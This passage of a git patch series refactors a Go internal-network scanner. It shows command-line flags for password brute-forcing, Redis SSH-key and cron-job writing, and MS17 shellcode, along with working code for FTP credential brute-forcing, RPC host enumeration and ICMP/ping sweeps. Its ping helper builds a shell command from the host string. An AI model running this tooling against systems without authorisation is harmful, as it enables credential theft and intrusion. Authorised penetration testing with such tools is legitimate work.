"在默认用户列表基础上添加用户,-usera user") + flag.StringVar(&PassAdd, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") + flag.StringVar(&Username, "user", "", "用户名") + flag.StringVar(&Password, "pwd", "", "密码") + flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") + flag.StringVar(&SshKey, "sshkey", "", "SSH密钥文件(id_rsa)") + + // 扫描配置 + flag.StringVar(&Scantype, "m", "all", "扫描类型,例如: -m ssh") + flag.IntVar(&Threads, "t", 600, "线程数量") + flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") + flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") + flag.BoolVar(&NoPing, "np", false, "禁用存活探测") + flag.BoolVar(&Ping, "ping", false, "使用ping替代ICMP") + flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + + // 文件配置 + flag.StringVar(&HostFile, "hf", "", "主机列表文件") + flag.StringVar(&Userfile, "userf", "", "用户名字典") + flag.StringVar(&Passfile, "pwdf", "", "密码字典") + flag.StringVar(&Hashfile, "hashf", "", "Hash字典") + flag.StringVar(&PortFile, "portf", "", "端口列表文件") + + // Web配置 + flag.StringVar(&URL, "u", "", "目标URL") + flag.StringVar(&UrlFile, "uf", "", "URL列表文件") + flag.StringVar(&Cookie, "cookie", "", "设置Cookie") + flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") + flag.StringVar(&Proxy, "proxy", "", "设置HTTP代理") + flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") + + // POC配置 + flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") + flag.BoolVar(&NoPoc, "nopoc", false, "禁用Web漏洞扫描") + flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") + flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") + flag.IntVar(&PocNum, "num", 20, "POC并发数") + + // Redis利用配置 + flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") + flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") + flag.BoolVar(&Noredistest, "noredis", false, "禁用Redis安全检测") + + // 暴力破解配置 + flag.BoolVar(&IsBrute, "nobr", false, "禁用密码爆破") + flag.IntVar(&BruteThread, "br", 1, "密码爆破线程数") + + // 其他配置 + flag.StringVar(&Path, "path", "", "FCG/SMB远程文件路径") + flag.StringVar(&Hash, "hash", "", "Hash值") + flag.StringVar(&SC, "sc", "", "MS17漏洞shellcode") + flag.BoolVar(&IsWmi, "wmi", false, "启用WMI") + + // 输出配置 + flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") + flag.BoolVar(&TmpSave, "no", false, "禁用结果保存") + flag.BoolVar(&Silent, "silent", false, "静默扫描模式") + flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") + flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") + flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") + flag.Parse() } From 8d5806e4567e55c8c1bdbb133bb06b2831ea0414 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:38:24 +0800 Subject: [PATCH 017/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Base.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/Base.go | 134 ++++++++++++++++++++++++++++++++---------------- 1 file changed, 89 insertions(+), 45 deletions(-) diff --git a/Plugins/Base.go b/Plugins/Base.go index 7fc38a9..20fa91a 100644 --- a/Plugins/Base.go +++ b/Plugins/Base.go @@ -5,79 +5,123 @@ import ( "crypto/aes" "crypto/cipher" "encoding/base64" + "errors" + "fmt" "net" ) -func ReadBytes(conn net.Conn) (result []byte, err error) { - size := 4096 +// ReadBytes 从连接读取数据直到EOF或错误 +func ReadBytes(conn net.Conn) ([]byte, error) { + size := 4096 // 缓冲区大小 buf := make([]byte, size) + var result []byte + var lastErr error + + // 循环读取数据 for { count, err := conn.Read(buf) if err != nil { + lastErr = err break } + result = append(result, buf[0:count]...) + + // 如果读取的数据小于缓冲区,说明已经读完 if count < size { break } } + + // 如果读到了数据,则忽略错误 if len(result) > 0 { - err = nil + return result, nil } - return result, err + + return result, lastErr } +// 默认AES加密密钥 var key = "0123456789abcdef" -func AesEncrypt(orig string, key string) string { - // 转成字节数组 +// AesEncrypt 使用AES-CBC模式加密字符串 +func AesEncrypt(orig string, key string) (string, error) { + // 转为字节数组 origData := []byte(orig) - k := []byte(key) - // 分组秘钥 - // NewCipher该函数限制了输入k的长度必须为16, 24或者32 - block, _ := aes.NewCipher(k) - // 获取秘钥块的长度 + keyBytes := []byte(key) + + // 创建加密块,要求密钥长度必须为16/24/32字节 + block, err := aes.NewCipher(keyBytes) + if err != nil { + return "", fmt.Errorf("创建加密块失败: %v", err) + } + + // 获取块大小并填充数据 blockSize := block.BlockSize() - // 补全码 origData = PKCS7Padding(origData, blockSize) - // 加密模式 - blockMode := cipher.NewCBCEncrypter(block, k[:blockSize]) - // 创建数组 - cryted := make([]byte, len(origData)) - // 加密 - blockMode.CryptBlocks(cryted, origData) - return base64.StdEncoding.EncodeToString(cryted) + + // 创建CBC加密模式 + blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize]) + + // 加密数据 + encrypted := make([]byte, len(origData)) + blockMode.CryptBlocks(encrypted, origData) + + // base64编码 + return base64.StdEncoding.EncodeToString(encrypted), nil } -func AesDecrypt(cryted string, key string) string { - // 转成字节数组 - crytedByte, _ := base64.StdEncoding.DecodeString(cryted) - k := []byte(key) - // 分组秘钥 - block, _ := aes.NewCipher(k) - // 获取秘钥块的长度 + +// AesDecrypt 使用AES-CBC模式解密字符串 +func AesDecrypt(crypted string, key string) (string, error) { + // base64解码 + cryptedBytes, err := base64.StdEncoding.DecodeString(crypted) + if err != nil { + return "", fmt.Errorf("base64解码失败: %v", err) + } + + keyBytes := []byte(key) + + // 创建解密块 + block, err := aes.NewCipher(keyBytes) + if err != nil { + return "", fmt.Errorf("创建解密块失败: %v", err) + } + + // 创建CBC解密模式 blockSize := block.BlockSize() - // 加密模式 - blockMode := cipher.NewCBCDecrypter(block, k[:blockSize]) - // 创建数组 - orig := make([]byte, len(crytedByte)) - // 解密 - blockMode.CryptBlocks(orig, crytedByte) - // 去补全码 - orig = PKCS7UnPadding(orig) - return string(orig) + blockMode := cipher.NewCBCDecrypter(block, keyBytes[:blockSize]) + + // 解密数据 + origData := make([]byte, len(cryptedBytes)) + blockMode.CryptBlocks(origData, cryptedBytes) + + // 去除填充 + origData, err = PKCS7UnPadding(origData) + if err != nil { + return "", fmt.Errorf("去除PKCS7填充失败: %v", err) + } + + return string(origData), nil } -// 补码 -// AES加密数据块分组长度必须为128bit(byte[16]),密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。 -func PKCS7Padding(ciphertext []byte, blocksize int) []byte { - padding := blocksize - len(ciphertext)%blocksize +// PKCS7Padding 对数据进行PKCS7填充 +func PKCS7Padding(data []byte, blockSize int) []byte { + padding := blockSize - len(data)%blockSize padtext := bytes.Repeat([]byte{byte(padding)}, padding) - return append(ciphertext, padtext...) + return append(data, padtext...) } -// 去码 -func PKCS7UnPadding(origData []byte) []byte { - length := len(origData) - unpadding := int(origData[length-1]) - return origData[:(length - unpadding)] +// PKCS7UnPadding 去除PKCS7填充 +func PKCS7UnPadding(data []byte) ([]byte, error) { + length := len(data) + if length == 0 { + return nil, errors.New("数据长度为0") + } + + padding := int(data[length-1]) + if padding > length { + return nil, errors.New("填充长度无效") + } + + return data[:length-padding], nil } From 5ad4c1a580661f8137aafece616e76007ace67ef Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:38:49 +0800 Subject: [PATCH 018/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96FTP.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FTP.go | 93 ++++++++++++++++++++++++++++---------------------- 1 file changed, 53 insertions(+), 40 deletions(-) diff --git a/Plugins/FTP.go b/Plugins/FTP.go index b973458..8758a5d 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -9,72 +9,85 @@ import ( "time" ) +// FtpScan 执行FTP服务扫描 func FtpScan(info *Config.HostInfo) (tmperr error) { + // 如果已开启暴力破解则直接返回 if Common.IsBrute { return } + starttime := time.Now().Unix() + + // 尝试匿名登录 flag, err := FtpConn(info, "anonymous", "") if flag && err == nil { return err - } else { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } + } + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) + Common.LogError(errlog) + tmperr = err + if Common.CheckErrs(err) { + return err } + // 尝试用户名密码组合 for _, user := range Common.Userdict["ftp"] { for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + flag, err := FtpConn(info, user, pass) if flag && err == nil { return err - } else { - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err - } - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { - return err - } + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { + return err } } } return tmperr } +// FtpConn 建立FTP连接并尝试登录 func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { - flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass + + // 建立FTP连接 conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second) - if err == nil { - err = conn.Login(Username, Password) - if err == nil { - flag = true - result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) - dirs, err := conn.List("") - //defer conn.Logout() - if err == nil { - if len(dirs) > 0 { - for i := 0; i < len(dirs); i++ { - if len(dirs[i].Name) > 50 { - result += "\n [->]" + dirs[i].Name[:50] - } else { - result += "\n [->]" + dirs[i].Name - } - if i == 5 { - break - } - } - } + if err != nil { + return false, err + } + + // 尝试登录 + if err = conn.Login(Username, Password); err != nil { + return false, err + } + + // 登录成功,获取目录信息 + result := fmt.Sprintf("[+] ftp %v:%v:%v %v", Host, Port, Username, Password) + dirs, err := conn.List("") + if err == nil && len(dirs) > 0 { + // 最多显示前6个目录 + for i := 0; i < len(dirs) && i < 6; i++ { + name := dirs[i].Name + if len(name) > 50 { + name = name[:50] } - Common.LogSuccess(result) + result += "\n [->]" + name } } - return flag, err + + Common.LogSuccess(result) + return true, nil } From 23fea2c2903794fb1b4da788ef574b0ecc112859 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:13 +0800 Subject: [PATCH 019/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96FindNet.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/FindNet.go | 140 ++++++++++++++++++++++++++++----------------- 1 file changed, 89 insertions(+), 51 deletions(-) diff --git a/Plugins/FindNet.go b/Plugins/FindNet.go index 13da7b3..bc58c84 100644 --- a/Plugins/FindNet.go +++ b/Plugins/FindNet.go @@ -12,113 +12,151 @@ import ( ) var ( + // RPC请求数据包 bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000") bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500") bufferV3, _ = hex.DecodeString("0900ffff0000") ) +// Findnet 探测Windows网络主机信息的入口函数 func Findnet(info *Config.HostInfo) error { - err := FindnetScan(info) - return err + return FindnetScan(info) } +// FindnetScan 通过RPC协议扫描网络主机信息 func FindnetScan(info *Config.HostInfo) error { - realhost := fmt.Sprintf("%s:%v", info.Host, 135) - conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) + // 连接目标RPC端口 + target := fmt.Sprintf("%s:%v", info.Host, 135) + conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second) if err != nil { - return err + return fmt.Errorf("连接RPC端口失败: %v", err) } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) - if err != nil { - return err + + // 设置连接超时 + if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil { + return fmt.Errorf("设置超时失败: %v", err) } - _, err = conn.Write(bufferV1) - if err != nil { - return err + + // 发送第一个RPC请求 + if _, err = conn.Write(bufferV1); err != nil { + return fmt.Errorf("发送RPC请求1失败: %v", err) } + + // 读取响应 reply := make([]byte, 4096) - _, err = conn.Read(reply) - if err != nil { - return err + if _, err = conn.Read(reply); err != nil { + return fmt.Errorf("读取RPC响应1失败: %v", err) } - _, err = conn.Write(bufferV2) - if err != nil { - return err + + // 发送第二个RPC请求 + if _, err = conn.Write(bufferV2); err != nil { + return fmt.Errorf("发送RPC请求2失败: %v", err) } - if n, err := conn.Read(reply); err != nil || n < 42 { - return err + + // 读取并检查响应 + n, err := conn.Read(reply) + if err != nil || n < 42 { + return fmt.Errorf("读取RPC响应2失败: %v", err) } + + // 解析响应数据 text := reply[42:] - flag := true + found := false for i := 0; i < len(text)-5; i++ { if bytes.Equal(text[i:i+6], bufferV3) { text = text[:i-4] - flag = false + found = true break } } - if flag { - return err + + if !found { + return fmt.Errorf("未找到有效的响应标记") } - err = read(text, info.Host) - return err + + // 解析主机信息 + return read(text, info.Host) } +// HexUnicodeStringToString 将16进制Unicode字符串转换为可读字符串 func HexUnicodeStringToString(src string) string { - sText := "" + // 确保输入长度是4的倍数 if len(src)%4 != 0 { src += src[:len(src)-len(src)%4] } - for i := 0; i < len(src); i = i + 4 { - sText += "\\u" + src[i+2:i+4] + src[i:i+2] + + // 转换为标准Unicode格式 + var sText string + for i := 0; i < len(src); i += 4 { + sText += "\\u" + src[i+2:i+4] + src[i:i+2] // 调整字节顺序 } - textUnquoted := sText - sUnicodev := strings.Split(textUnquoted, "\\u") - var context string - for _, v := range sUnicodev { - if len(v) < 1 { + // 解析每个Unicode字符 + unicodeChars := strings.Split(sText, "\\u") + var result string + + for _, char := range unicodeChars { + // 跳过空字符 + if len(char) < 1 { continue } - temp, err := strconv.ParseInt(v, 16, 32) + + // 将16进制转换为整数 + codePoint, err := strconv.ParseInt(char, 16, 32) if err != nil { return "" } - context += fmt.Sprintf("%c", temp) + + // 转换为实际字符 + result += fmt.Sprintf("%c", codePoint) } - return context + + return result } +// read 解析并显示主机网络信息 func read(text []byte, host string) error { + // 将原始数据转换为16进制字符串 encodedStr := hex.EncodeToString(text) - hn := "" - for i := 0; i < len(encodedStr)-4; i = i + 4 { + // 解析主机名 + var hostName string + for i := 0; i < len(encodedStr)-4; i += 4 { if encodedStr[i:i+4] == "0000" { break } - hn += encodedStr[i : i+4] + hostName += encodedStr[i : i+4] } - var name string - name = HexUnicodeStringToString(hn) + // 转换主机名为可读字符串 + name := HexUnicodeStringToString(hostName) - hostnames := strings.Replace(encodedStr, "0700", "", -1) - hostname := strings.Split(hostnames, "000000") - result := "[*] NetInfo \n[*]" + host + // 解析网络信息 + netInfo := strings.Replace(encodedStr, "0700", "", -1) + hosts := strings.Split(netInfo, "000000") + hosts = hosts[1:] // 跳过第一个空元素 + + // 构造输出结果 + result := fmt.Sprintf("[*] NetInfo\n[*] %s", host) if name != "" { - result += "\n [->]" + name + result += fmt.Sprintf("\n [->] %s", name) } - hostname = hostname[1:] - for i := 0; i < len(hostname); i++ { - hostname[i] = strings.Replace(hostname[i], "00", "", -1) - host, err := hex.DecodeString(hostname[i]) + + // 解析每个网络主机信息 + for _, h := range hosts { + // 移除填充字节 + h = strings.Replace(h, "00", "", -1) + + // 解码主机信息 + hostInfo, err := hex.DecodeString(h) if err != nil { - return err + return fmt.Errorf("解码主机信息失败: %v", err) } - result += "\n [->]" + string(host) + result += fmt.Sprintf("\n [->] %s", string(hostInfo)) } + + // 输出结果 Common.LogSuccess(result) return nil } From 59e5b88600e1a7c714c0b27acaff5b613049957d Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 23:39:18 +0800 Subject: [PATCH 020/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96ICMP.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/ICMP.go | 349 ++++++++++++++++++++++++++++++------------------ 1 file changed, 221 insertions(+), 128 deletions(-) diff --git a/Plugins/ICMP.go b/Plugins/ICMP.go index 240228b..4648e5b 100644 --- a/Plugins/ICMP.go +++ b/Plugins/ICMP.go @@ -14,88 +14,118 @@ import ( ) var ( - AliveHosts []string - ExistHosts = make(map[string]struct{}) - livewg sync.WaitGroup + AliveHosts []string // 存活主机列表 + ExistHosts = make(map[string]struct{}) // 已发现主机记录 + livewg sync.WaitGroup // 存活检测等待组 ) +// CheckLive 检测主机存活状态 func CheckLive(hostslist []string, Ping bool) []string { + // 创建主机通道 chanHosts := make(chan string, len(hostslist)) - go func() { - for ip := range chanHosts { - if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { - ExistHosts[ip] = struct{}{} - if Common.Silent == false { - if Ping == false { - fmt.Printf("(icmp) Target %-15s is alive\n", ip) - } else { - fmt.Printf("(ping) Target %-15s is alive\n", ip) - } - } - AliveHosts = append(AliveHosts, ip) - } - livewg.Done() - } - }() - if Ping == true { - //使用ping探测 + // 处理存活主机 + go handleAliveHosts(chanHosts, hostslist, Ping) + + // 根据Ping参数选择检测方式 + if Ping { + // 使用ping方式探测 RunPing(hostslist, chanHosts) } else { - //优先尝试监听本地icmp,批量探测 - conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") - if err == nil { - RunIcmp1(hostslist, conn, chanHosts) - } else { - Common.LogError(err) - //尝试无监听icmp探测 - fmt.Println("trying RunIcmp2") - conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) - defer func() { - if conn != nil { - conn.Close() - } - }() - if err == nil { - RunIcmp2(hostslist, chanHosts) - } else { - Common.LogError(err) - //使用ping探测 - fmt.Println("The current user permissions unable to send icmp packets") - fmt.Println("start ping") - RunPing(hostslist, chanHosts) - } - } + probeWithICMP(hostslist, chanHosts) } + // 等待所有检测完成 livewg.Wait() close(chanHosts) - if len(hostslist) > 1000 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) - for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i]) - Common.LogSuccess(output) - } - } - if len(hostslist) > 256 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) - for i := 0; i < len(arrTop); i++ { - output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i]) - Common.LogSuccess(output) - } - } + // 输出存活统计信息 + printAliveStats(hostslist) return AliveHosts } +// handleAliveHosts 处理存活主机信息 +func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) { + for ip := range chanHosts { + if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { + ExistHosts[ip] = struct{}{} + + // 输出存活信息 + if !Common.Silent { + protocol := "ICMP" + if isPing { + protocol = "PING" + } + fmt.Printf("[+] 目标 %-15s 存活 (%s)\n", ip, protocol) + } + + AliveHosts = append(AliveHosts, ip) + } + livewg.Done() + } +} + +// probeWithICMP 使用ICMP方式探测 +func probeWithICMP(hostslist []string, chanHosts chan string) { + // 尝试监听本地ICMP + conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0") + if err == nil { + RunIcmp1(hostslist, conn, chanHosts) + return + } + + Common.LogError(err) + fmt.Println("[-] 正在尝试无监听ICMP探测...") + + // 尝试无监听ICMP探测 + conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) + if err == nil { + defer conn2.Close() + RunIcmp2(hostslist, chanHosts) + return + } + + Common.LogError(err) + fmt.Println("[-] 当前用户权限不足,无法发送ICMP包") + fmt.Println("[*] 切换为PING方式探测...") + + // 降级使用ping探测 + RunPing(hostslist, chanHosts) +} + +// printAliveStats 打印存活统计信息 +func printAliveStats(hostslist []string) { + // 大规模扫描时输出 /16 网段统计 + if len(hostslist) > 1000 { + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) + for i := 0; i < len(arrTop); i++ { + output := fmt.Sprintf("[*] B段 %-16s 存活主机数: %d", arrTop[i]+".0.0/16", arrLen[i]) + Common.LogSuccess(output) + } + } + + // 输出 /24 网段统计 + if len(hostslist) > 256 { + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) + for i := 0; i < len(arrTop); i++ { + output := fmt.Sprintf("[*] C段 %-16s 存活主机数: %d", arrTop[i]+".0/24", arrLen[i]) + Common.LogSuccess(output) + } + } +} + +// RunIcmp1 使用ICMP批量探测主机存活(监听模式) func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) { endflag := false + + // 启动监听协程 go func() { for { - if endflag == true { + if endflag { return } + // 接收ICMP响应 msg := make([]byte, 100) _, sourceIP, _ := conn.ReadFrom(msg) if sourceIP != nil { @@ -105,71 +135,93 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) } }() + // 发送ICMP请求 for _, host := range hostslist { dst, _ := net.ResolveIPAddr("ip", host) IcmpByte := makemsg(host) conn.WriteTo(IcmpByte, dst) } - //根据hosts数量修改icmp监听时间 + + // 等待响应 start := time.Now() for { + // 所有主机都已响应则退出 if len(AliveHosts) == len(hostslist) { break } + + // 根据主机数量设置超时时间 since := time.Since(start) - var wait time.Duration - switch { - case len(hostslist) <= 256: + wait := time.Second * 6 + if len(hostslist) <= 256 { wait = time.Second * 3 - default: - wait = time.Second * 6 } + if since > wait { break } } + endflag = true conn.Close() } +// RunIcmp2 使用ICMP并发探测主机存活(无监听模式) func RunIcmp2(hostslist []string, chanHosts chan string) { + // 控制并发数 num := 1000 if len(hostslist) < num { num = len(hostslist) } + var wg sync.WaitGroup limiter := make(chan struct{}, num) + + // 并发探测 for _, host := range hostslist { wg.Add(1) limiter <- struct{}{} + go func(host string) { + defer func() { + <-limiter + wg.Done() + }() + if icmpalive(host) { livewg.Add(1) chanHosts <- host } - <-limiter - wg.Done() }(host) } + wg.Wait() close(limiter) } +// icmpalive 检测主机ICMP是否存活 func icmpalive(host string) bool { startTime := time.Now() + + // 建立ICMP连接 conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second) if err != nil { return false } defer conn.Close() + + // 设置超时时间 if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil { return false } + + // 构造并发送ICMP请求 msg := makemsg(host) if _, err := conn.Write(msg); err != nil { return false } + // 接收ICMP响应 receive := make([]byte, 60) if _, err := conn.Read(receive); err != nil { return false @@ -178,133 +230,174 @@ func icmpalive(host string) bool { return true } +// RunPing 使用系统Ping命令并发探测主机存活 func RunPing(hostslist []string, chanHosts chan string) { var wg sync.WaitGroup + // 限制并发数为50 limiter := make(chan struct{}, 50) + + // 并发探测 for _, host := range hostslist { wg.Add(1) limiter <- struct{}{} + go func(host string) { + defer func() { + <-limiter + wg.Done() + }() + if ExecCommandPing(host) { livewg.Add(1) chanHosts <- host } - <-limiter - wg.Done() }(host) } + wg.Wait() } +// ExecCommandPing 执行系统Ping命令检测主机存活 func ExecCommandPing(ip string) bool { var command *exec.Cmd + + // 根据操作系统选择不同的ping命令 switch runtime.GOOS { case "windows": - command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" + command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false") case "darwin": - command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" - default: //linux - command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") //ping -c 1 -i 0.5 -t 4 -W 2 -w 5 "+ip+" >/dev/null && echo true || echo false" + command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false") + default: // linux + command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false") } - outinfo := bytes.Buffer{} + + // 捕获命令输出 + var outinfo bytes.Buffer command.Stdout = &outinfo - err := command.Start() - if err != nil { + + // 执行命令 + if err := command.Start(); err != nil { return false } - if err = command.Wait(); err != nil { + + if err := command.Wait(); err != nil { return false - } else { - if strings.Contains(outinfo.String(), "true") && strings.Count(outinfo.String(), ip) > 2 { - return true - } else { - return false - } } + + // 分析输出结果 + output := outinfo.String() + return strings.Contains(output, "true") && strings.Count(output, ip) > 2 } +// makemsg 构造ICMP echo请求消息 func makemsg(host string) []byte { msg := make([]byte, 40) + + // 获取标识符 id0, id1 := genIdentifier(host) - msg[0] = 8 - msg[1] = 0 - msg[2] = 0 - msg[3] = 0 - msg[4], msg[5] = id0, id1 - msg[6], msg[7] = genSequence(1) + + // 设置ICMP头部 + msg[0] = 8 // Type: Echo Request + msg[1] = 0 // Code: 0 + msg[2] = 0 // Checksum高位(待计算) + msg[3] = 0 // Checksum低位(待计算) + msg[4], msg[5] = id0, id1 // Identifier + msg[6], msg[7] = genSequence(1) // Sequence Number + + // 计算校验和 check := checkSum(msg[0:40]) - msg[2] = byte(check >> 8) - msg[3] = byte(check & 255) + msg[2] = byte(check >> 8) // 设置校验和高位 + msg[3] = byte(check & 255) // 设置校验和低位 + return msg } +// checkSum 计算ICMP校验和 func checkSum(msg []byte) uint16 { sum := 0 length := len(msg) + + // 按16位累加 for i := 0; i < length-1; i += 2 { sum += int(msg[i])*256 + int(msg[i+1]) } + + // 处理奇数长度情况 if length%2 == 1 { sum += int(msg[length-1]) * 256 } + + // 将高16位加到低16位 sum = (sum >> 16) + (sum & 0xffff) sum = sum + (sum >> 16) - answer := uint16(^sum) - return answer + + // 取反得到校验和 + return uint16(^sum) } +// genSequence 生成ICMP序列号 func genSequence(v int16) (byte, byte) { - ret1 := byte(v >> 8) - ret2 := byte(v & 255) + ret1 := byte(v >> 8) // 高8位 + ret2 := byte(v & 255) // 低8位 return ret1, ret2 } +// genIdentifier 根据主机地址生成标识符 func genIdentifier(host string) (byte, byte) { - return host[0], host[1] + return host[0], host[1] // 使用主机地址前两个字节 } +// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果 func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) { if len(arrInit) == 0 { return } - arrMap1 := make(map[string]int) - arrMap2 := make(map[string]int) - for _, value := range arrInit { - line := strings.Split(value, ".") - if len(line) == 4 { - if flag { - value = fmt.Sprintf("%s.%s", line[0], line[1]) - } else { - value = fmt.Sprintf("%s.%s.%s", line[0], line[1], line[2]) - } + + // 统计各网段出现次数 + segmentCounts := make(map[string]int) + for _, ip := range arrInit { + segments := strings.Split(ip, ".") + if len(segments) != 4 { + continue } - if arrMap1[value] != 0 { - arrMap1[value]++ + + // 根据flag确定统计B段还是C段 + var segment string + if flag { + segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段 } else { - arrMap1[value] = 1 + segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段 } - } - for k, v := range arrMap1 { - arrMap2[k] = v + + segmentCounts[segment]++ } - i := 0 - for range arrMap1 { - var maxCountKey string - var maxCountVal = 0 - for key, val := range arrMap2 { - if val > maxCountVal { - maxCountVal = val - maxCountKey = key + // 创建副本用于排序 + sortMap := make(map[string]int) + for k, 